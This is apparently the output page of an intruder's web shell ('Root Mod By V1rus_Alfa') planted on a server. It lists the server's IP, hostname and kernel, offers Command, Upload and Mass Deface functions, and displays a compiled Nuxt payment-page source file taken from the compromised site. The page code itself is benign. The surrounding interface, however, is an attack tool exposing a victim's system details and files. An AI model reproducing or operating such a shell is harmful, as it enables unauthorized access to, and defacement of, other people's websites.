���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
.trash
/
.output
/
server
/
chunks
/
build
/
Viewing: payment-CNV8F14a.mjs
import { _ as __nuxt_component_0 } from './snipper-LQAyL8k0.mjs'; import { x as useSwitchLocalePath, b as useI18n, v as useRouter, c as useLocalePath, u as useHead, q as useCookie, i as useToast, k as useRuntimeConfig, o as __nuxt_component_0$1, l as __nuxt_component_3, p as __nuxt_component_1, n as navigateTo } from './server.mjs'; import { _ as __nuxt_component_2 } from './Dropdown-ASqgaTr8.mjs'; import { defineComponent, ref, withAsyncContext, mergeProps, unref, withCtx, createVNode, toDisplayString, useSSRContext } from 'vue'; import { u as useFetch } from './fetch-BLrdAwwP.mjs'; import { ssrRenderAttrs, ssrRenderComponent, ssrInterpolate, ssrRenderAttr, ssrRenderClass, ssrRenderStyle } from 'vue/server-renderer'; import { p as publicAssetsURL } from '../routes/renderer.mjs'; import '../runtime.mjs'; import 'node:http'; import 'node:https'; import 'fs'; import 'path'; import 'node:fs'; import 'node:url'; import '@iconify/utils'; import 'consola/core'; import 'unhead'; import '@unhead/shared'; import 'vue-router'; import '@vueuse/core'; import 'tailwind-merge'; import '@iconify/vue'; import '@iconify/utils/lib/css/icon'; import 'vue-bundle-renderer/runtime'; import 'devalue'; import '@unhead/ssr'; import './id-DOoFjeHa.mjs'; import './keyboard-DxZwAodF.mjs'; const _imports_0 = publicAssetsURL("/favicon.ico"); const _sfc_main = /* @__PURE__ */ defineComponent({ __name: "payment", __ssrInlineRender: true, async setup(__props) { let __temp, __restore; const switchLocalePath = useSwitchLocalePath(); const { t } = useI18n(); const router = useRouter(); const localePath = useLocalePath(); useHead({ title: t("Payment") }); const token = useCookie("token"); const config = useRuntimeConfig(); const collapse = ref(false); useToast(); const loading = ref(false); const code = ref(); const items = [ [{ label: "\u0641\u0627\u0631\u0633\u06CC", click: () => { router.push({ path: switchLocalePath("fa") }); } }, { label: "English", click: () => { router.push({ path: switchLocalePath("en") }); } }] ]; const { data, pending, error, refresh } = ([__temp, __restore] = withAsyncContext(() => useFetch(config.public.API_URL + "/analyze/all-config", { onRequest({ request, options }) { options.headers = {}; options.headers.Accept = "application/json"; options.headers.authorization = "Bearer " + token.value; }, onResponseError({ request, response, options }) { if (response.status == 401) { navigateTo(localePath("/login")); } if (response.status == 403) { navigateTo(localePath("/payment")); } }, transform: (mountains) => { return JSON.parse(mountains).data; }, server: false }, "$Hs6yQOSmJG")), __temp = await __temp, __restore(), __temp); return (_ctx, _push, _parent, _attrs) => { var _a; const _component_Snipper = __nuxt_component_0; const _component_ULink = __nuxt_component_0$1; const _component_UDropdown = __nuxt_component_2; const _component_UButton = __nuxt_component_3; const _component_UIcon = __nuxt_component_1; _push(`<section${ssrRenderAttrs(mergeProps({ class: "" }, _attrs))}>`); if (unref(pending)) { _push(`<span>`); _push(ssrRenderComponent(_component_Snipper, null, null, _parent)); _push(`</span>`); } else if (unref(error)) { _push(`<span>Error: ${ssrInterpolate(unref(error))}</span>`); } else { _push(`<div class=""><div class="w-full mx-auto"><header class="!overflow-visible"><div id="header" class="py-1 bg-main-700"><nav id="nav-menu" class="flex items-start justify-between w-full mx-auto reletive"><div class="w-[95%] mx-auto"><div${ssrRenderAttr("dir", _ctx.$i18n.locale == "en" ? "ltr" : "rtl")} class="flex items-center justify-between">`); _push(ssrRenderComponent(_component_ULink, { to: "/", class: "inline-flex h-10 items-center cursor-pointer rounded justify-center text-xs px-2" }, { default: withCtx((_, _push2, _parent2, _scopeId) => { if (_push2) { _push2(`<img class="w-10 mx-auto h-full rounded md:w-30"${ssrRenderAttr("src", _imports_0)}${_scopeId}>`); } else { return [ createVNode("img", { class: "w-10 mx-auto h-full rounded md:w-30", src: _imports_0 }) ]; } }), _: 1 }, _parent)); _push(`<div class="flex items-end"><div class="${ssrRenderClass([_ctx.$i18n.locale == "en" ? "order-1 justify-end" : "justify-start", "w-full lg:w-10/12 mx-2 mona flex lg:justify-between items-center text-3xl text-white"])}"><div class="${ssrRenderClass([_ctx.$i18n.locale == "en" ? "order-1 ltr" : "", "border border-white rounded flex justify-center items-start"])}">`); _push(ssrRenderComponent(_component_UDropdown, { items, popper: { placement: "bottom-start" }, ui: { width: " mx-auto overflow-hidden rounded w-auto border border-main-700", padding: "p-0 ", background: " ", item: { label: "vazir", base: "vazir !justify-center px-4 text-sm " } } }, { default: withCtx((_, _push2, _parent2, _scopeId) => { if (_push2) { _push2(ssrRenderComponent(_component_UButton, { class: "!p-1 !bg-transparent text-white !shadow-none !ring-0" }, { default: withCtx((_2, _push3, _parent3, _scopeId2) => { if (_push3) { _push3(`<label class="text-xs"${_scopeId2}>${ssrInterpolate(_ctx.$i18n.locale == "fa" ? "\u0632\u0628\u0627\u0646" : "lang")}</label>`); _push3(ssrRenderComponent(_component_UIcon, { name: "i-heroicons-chevron-down-20-solid", class: "text-white text-lg" }, null, _parent3, _scopeId2)); } else { return [ createVNode("label", { class: "text-xs" }, toDisplayString(_ctx.$i18n.locale == "fa" ? "\u0632\u0628\u0627\u0646" : "lang"), 1), createVNode(_component_UIcon, { name: "i-heroicons-chevron-down-20-solid", class: "text-white text-lg" }) ]; } }), _: 1 }, _parent2, _scopeId)); } else { return [ createVNode(_component_UButton, { class: "!p-1 !bg-transparent text-white !shadow-none !ring-0" }, { default: withCtx(() => [ createVNode("label", { class: "text-xs" }, toDisplayString(_ctx.$i18n.locale == "fa" ? "\u0632\u0628\u0627\u0646" : "lang"), 1), createVNode(_component_UIcon, { name: "i-heroicons-chevron-down-20-solid", class: "text-white text-lg" }) ]), _: 1 }) ]; } }), _: 1 }, _parent)); _push(`</div></div><a href="tel:09364233626" class="inline-flex flex-col items-center cursor-pointer justify-center"><i class="bx bx-support text-2xl text-white"></i><span class="bold text-sm text-white">${ssrInterpolate(unref(t)("Support"))}</span></a></div></div></div></nav></div></header>`); if (unref(loading) == true) { _push(`<div>`); _push(ssrRenderComponent(_component_Snipper, null, null, _parent)); _push(`</div>`); } else { _push(`<section class="w-11/12 mx-auto pt-12 flex flex-col justify-between items-center min-h-[85vh]"><section${ssrRenderAttr("dir", _ctx.$i18n.locale == "en" ? "ltr" : "rtl")} class="w-full"><div class="w-11/12 mx-auto mb-10 flex justify-center text-center items-center"><i class="bx bx-info-circle text-xl text-main-700 ml-2"></i><h2 class="bold text-xs text-main-700">${ssrInterpolate(unref(t)("pay_1"))}</h2></div><div class="w-10/12 mx-auto mb-8 flex justify-center text-center items-center"><span class="bold text-xs text-gray-800">${ssrInterpolate(unref(t)("pay_2"))}</span></div><div class="w-10/12 mx-auto mb-10 flex justify-center items-center"><span class="bold text-xs leading-6 text-gray-800 text-center">${(_a = _ctx.$i18n.locale == "en" ? "<div>Note that <strong> by entering the identifier code </strong> you will get a special discount.</div>" : "<div> \u062A\u0648\u062C\u0647 \u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u06CC\u062F \u06A9\u0647 <strong > \u0628\u0627 \u0648\u0627\u0631\u062F \u06A9\u0631\u062F\u0646 \u06A9\u062F \u0645\u0639\u0631\u0641 </strong> \u0627\u0632 \u062A\u062E\u0641\u06CC\u0641 \u0648\u06CC\u0698\u0647 \u0628\u0631\u062E\u0648\u0631\u062F\u0627\u0631 \u0645\u06CC \u0634\u0648\u06CC\u062F.</div>") != null ? _a : ""}</span></div></section><section class="w-full"><div class="w-[98%] mb-5 rounded mx-auto border-dashed py-2 border-2 border-main-700"><div class="cursor-pointer flex justify-center items-center w-full"><span class="bold ml-5 text-xs text-gray-800">${ssrInterpolate(unref(t)("pay_3"))}</span><i class="bx bxs-user-circle text-3xl text-main-700 ml-2"></i></div><div${ssrRenderAttr("dir", _ctx.$i18n.locale == "en" ? "ltr" : "rtl")} style="${ssrRenderStyle(unref(collapse) == true ? null : { display: "none" })}" class="border-t p-2 mt-2 border-dashed border-main-700 flex w-full items-center justify-between"><input type="text"${ssrRenderAttr("value", unref(code))}${ssrRenderAttr("placeholder", unref(t)("pay_4"))} class="${ssrRenderClass([_ctx.$i18n.locale == "en" ? "rounded-l" : "rounded-r", "w-full pr-2 bg-white outline-none focus:ring-0 focus:border-gray-300 focus:outline-none border border-[#D0D0D0] h-8 dark:bg-[#434343] placeholder:text-xs placeholder:text-[#7f7f7f] text-xs bold"])}"><button class="${ssrRenderClass([_ctx.$i18n.locale == "en" ? "rounded-r" : "rounded-l", "h-8 text-xs bold text-center text-white bg-red-700 w-3/12 hover:text-white hover:bg-main-800 focus:outline-none"])}">${ssrInterpolate(unref(t)("payment_5"))}</button></div></div><a${ssrRenderAttr("href", unref(data).payment_link)} class="w-[98%] cursor-pointer block mb-10 rounded mx-auto border-dashed py-2 border-2 border-main-700"><div class="flex justify-center items-center w-full"><span class="bold ml-5 text-xs text-gray-800">${ssrInterpolate(unref(t)("pay_5"))}</span><i class="bx bx-credit-card text-3xl text-main-700 ml-2"></i></div></a></section><section${ssrRenderAttr("dir", _ctx.$i18n.locale == "en" ? "ltr" : "rtl")} class="w-full"><div class="w-10/12 mx-auto mb-10 flex justify-center items-center"><span class="text-xs leading-6 text-gray-800 text-center">${ssrInterpolate(unref(t)("pay_6"))} <strong class="text-main-700">${ssrInterpolate(unref(data).payment_price)}</strong> ${ssrInterpolate(unref(t)("pay_7"))}</span></div><div class="w-[98%] mx-auto"><a href="https://cutunix.ir/introducing-app" target="_blank" class="w-full py-3 mx-auto flex justify-center items-center text-center border bold bg-main-700 text-white text-xs rounded-md shadow overflow-hidden">${ssrInterpolate(unref(t)("pay_8"))}</a></div></section></section>`); } _push(`</div></div>`); } _push(`</section>`); }; } }); const _sfc_setup = _sfc_main.setup; _sfc_main.setup = (props, ctx) => { const ssrContext = useSSRContext(); (ssrContext.modules || (ssrContext.modules = /* @__PURE__ */ new Set())).add("pages/payment.vue"); return _sfc_setup ? _sfc_setup(props, ctx) : void 0; }; export { _sfc_main as default }; //# sourceMappingURL=payment-CNV8F14a.mjs.map
Coded With 💗 by
0x6ick Mod By V1rus_Alfa